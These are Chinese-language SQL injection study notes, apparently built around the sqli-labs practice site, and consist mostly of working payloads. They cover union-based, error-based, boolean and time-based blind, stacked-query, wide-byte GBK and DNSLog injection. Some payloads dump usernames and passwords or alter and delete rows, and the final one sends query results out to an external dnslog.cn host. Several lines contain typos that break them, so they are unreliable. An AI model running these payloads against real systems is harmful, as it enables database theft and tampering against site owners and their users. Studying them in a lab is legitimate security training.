SQL注入原理:
1.参数用户可控化:前端传递给后端的参数是用户可以控制的
2.参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询
sql注入常用知识:
1.information_schema:表示所有信息,包括库、表、列
2.information_schema.tables:记录所有表名信息的表
3.information_schema.columns:记录所有列名信息的表
4.table_schema:数据库的名称
5.table_name:表名
6.column_name:列名
7.group_concat():显示所有查询到的数据
关于group by 和order by
在select用法中:
order by num column<=num时都会正确回显
order by num column = = num时才会正确回显
关于group_concat和concat
- 用途不同:
concat
主要用于行数据的拼接,concat
函数无法处理这个多列结果而group_concat
则主要用于列数据的拼接,。 - 操作方式不同:使用concat时,需要为每个需要拼接的字段分别指定;而group_concat可以一次性拼接多个字段的值,且自动在每个值之间添加逗号。
引:如何判断闭合方式
首先有以下几种闭合方式:
SELECT * FROM ‘USERS’ WHERE id=1 #整形闭合
SELECT * FROM ‘USERS’ WHERE id=‘1’ #单引号闭合
SELECT * FROM ‘USERS’ WHERE id=“1” #双引号闭合
SELECT * FROM ‘USERS’ WHERE id=(‘1’) #单引号加括号闭合
SELECT * FROM ‘USERS’ WHERE id=(“1”) #双引号加括号闭合
方法1:首先使用转义字符 \ 来判断闭合方式
原理:当闭合字符遇到转义字符时,会被转义,那么没有闭合的语句就不完整了,就会报错,通过报错信息来判断是否是该闭合方式
分析报错信息:看斜杠后面跟着的字符是什么就是什么转义字符,若是没有就是数字型
eg:转义字符为:')
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "1\') LlMIT 0,1' at line 1
eg:无(数字型)
You have an error in your SQL syntax; check the manual that copresponds to your MySQL server version for the right syntax to use near '\ LIMIT 0,1' at line 1
方法2:
首先尝试:
?id=1'
?id=1"
结果一:如果都报错,则为整形闭合
结果二:如果结果一的单引号报错而双引号不报错则继续测试
?id=1'–+
无报错则为单引号闭合,报错则为单引号加括号闭合
结果三:如果结果一的单引号不报错而双引号报错则继续测试
?id=1"-+
无报错则为双引号闭合,报错则为双引号加括号闭合
多层括号同理
一、联合查询
!!!一定要查询字段数一致!!!
1.判断注入点
首先判断闭合符:?id=1\
字符型判断:
页面运行正常:?id=1' and '1'=1
页面运行不正常:?id=1' and '1'=2
数字型判断:
页面运行正常:?id=1' and 1=1
页面运行不正常:?id=1' and 1=2
2.查询字段
?id=1'
?id=1' order by 3
?id=1' order by 4
order by
:查询该数据表的字段数
访问id=1’ order by 3结果与id=1结果相同,访问id=1’ order by 4结果与id=1结果不相同,则字段数为3
3.确定回显点
使用?id=1' union select 1,2,3
根据字段数构造语句判断回显
4.基础查询信息
#查询当前数据库:
union select 1,database(),3
#查询所有的数据库
union select group_concat(schema_name) from information_schema.schemata
#查询指定数据库中的所有表数据
union select group_concat(table_name) from information_schema.tables where table_name='security'
#查询指定数据库指定表的全部列数据
union select group_concat(column_name) from information_schema.column where table_schema='security' and table_name='users'
#查询指定数据库指定表的部分数据
union select column_name from information_schema.column where table_schema='security' and table_column='users' limit 0,1
#查询指定数据库指定表指定列的部分数据 0x3a是冒号的十六进制表示
union select group_concat(username,0x3a,password) from information_column where security.users
二、报错注入
程序把报错信息输入到页面上,利用报错注入获取数据
eg:?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)
1.substr()函数
使用substr来一段段读取
eg:substr("123456",1,5)
2.查询语句
查询语句与union相同,均返回一条报错结果
#获取当前的数据库名称
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)
#获取所有数据库名
?id=1; and updatexml(1,concat(0x7e,substring((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)
?id=1; and updatexml(1,concat(0x7e,substring((select group_concat(schema_name) from information_schema.schemata),31,63),0x7e),1)
#获取指定数据库的所有表名
?id=1' and updatexml(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1)
#获取指定数据库下指定表的所有列数据
?id=1' and updatexml(1,concat(0x7e,substring((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,31),0x7e),1)
#获取指定数据库下指定表明指定列下的字段值
and updatexml(1,concat(0x7e,substring((select group_concat(id,0x3a,flag) from security.TKbvbxDK),64,95),0x7e),1)
三、布尔盲注
1.length函数
判断数据库的长度:
?id=1' and length(database())>=1
2.substr函数
?id=1' and substr(database(),1,1)='t'
3.ord函数
转换为ASCII值
?id=1' and odr(database(),1,1)=115
4.查询语句
#判断数据库长度
and length(database()=8)
and length(database()<9)
#指定字符一步一步判断截取到的字符
and substr(database(),1,1)='a'
and substr(database(),2,1)='1'
#使用ASCII比对截取的字符
and ascii(substr(database()),1,1)=115
#查询表名
and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1))='s'
四、时间盲注
GET注入由于id值本身为真,判定注入点要用and运算符
POST注入uname本身为假,判定注入点要用or运算符
判断闭合方式:
and sleep --
判断字段数:
order by 3
if(表达式,结果1,结果2):
if(length(database())>=5,sleep(5),1)
1.查询语句
#判断数据库名称
and if(length(database())=1,sleep(5),1)
#使用substr函数比对截取的字符
and if(substr(database(),1,1)='e',sleep(5),1)
#使用ascii值比对截取的字符
and if(ascii(substr(database(),1,1))=115,sleep(5),1)
#查询当前数据库下的表数据
and if(ascii(substr((select table_name from information_schema.tables where table_schema=databse() limit 0,1),1,1))=101,sleep(5),1)
#查询当前数据库下的指定表数据的列数据
and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='email' limit 0,1),1,1)=105),sleep(3),1)
#查询当前数据库下的指定表数据的列数据的字段值
and if(ascii(substr((select group_concat(username,0x3e,password) from information_schema.tables where table_name='users' and table_schema=database()),1,1)=68),sleep(5),1)
五、堆叠注入
mysql数据库sql语句默认结束符是以";"结尾,在执行多条语句时就要使用结束符来隔开,而堆叠注入就是使用结束符来执行多条sql语句
构造不同的时间注入的语句,可以的到完整的数据库的库名,表明,字段名和具体数据
1.查询语句
#将Dumb的密码修改
?id=1' union select 1,2,3;update users set password='Dumb' where id=1
#插入用户密码数据
?id=1';insert into users(id,username,password) values(123,'meteor','123456')
#删除莫条数据
?id=1';delete from users where id=123
六、宽字节注入
原理:
通常情况下,SQL注入点是通过单引号来识别的。但当数据经过 addslashes()
处理时,单引号会被转义成无功能性字符,在判断注入点时失效。攻击者利用宽字节字符集(如GBK)将两个字节识别为一个汉字,绕过反斜线转义机制,并使单引号逃逸,实现对数据库查询语句的篡改。
1.示范
输入payload:' or 1=1
经过addslashes转字符之后:\' or 1=1
分析:‘的url编码为%27,在经过addslashes后变成’,对应的url编码就变为%5c%27
针对上述情况,构造payload:
构造绕过的payload:%df' or 1=1
经过addslashes转字符之后:%df\' or 1=1
分析:在payload中的'
之前加了一个字符%df
,经过addslashes()
以后,%df'
就变成了%df\'
,对应的URL编码为:%df%5c%27
。 当MySQL使用GBK编码时,会将%df%5c
解析成一个字,从而使得单引号%27
成功逃逸
2.查询语句
#判断字段数
?id=1%df' order by 3
#查询当前数据库名
?id=-1%df' union select 1,database(),3
#查询所有的数据库
?id=-1%df' union select 1,group_concat(schema_name),3 from information_schema.schemata
#查询当前数据库的部分表明
?id=-1%df' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1
#查询当前数据库的所有表明
?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
七、DNSLog外带注入
在sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显,我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功,则使用DNSLog注入
!!!若要使用load_file函数,需要在mysql的my.ini配置文件中,添加secure_file_priv=‘’!!!
secure_file_priv参数用于限制LOAD DATA, SELECT …OUTFILE, LOAD_FILE()传到哪个指定目录。
- secure_file_priv 为 NULL 时,表示限制mysqld不允许导入或导出。
- secure_file_priv 为 /tmp 时,表示限制mysqld只能在/tmp目录中执行导入导出,其他目录不能执行。
- secure_file_priv 没有值时,表示不限制mysqld在任意目录的导入导出。
payload:
http://localhost/sqlilabs/Less-9/?id=1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.5ozca4.dnslog.cn\\abc'))--+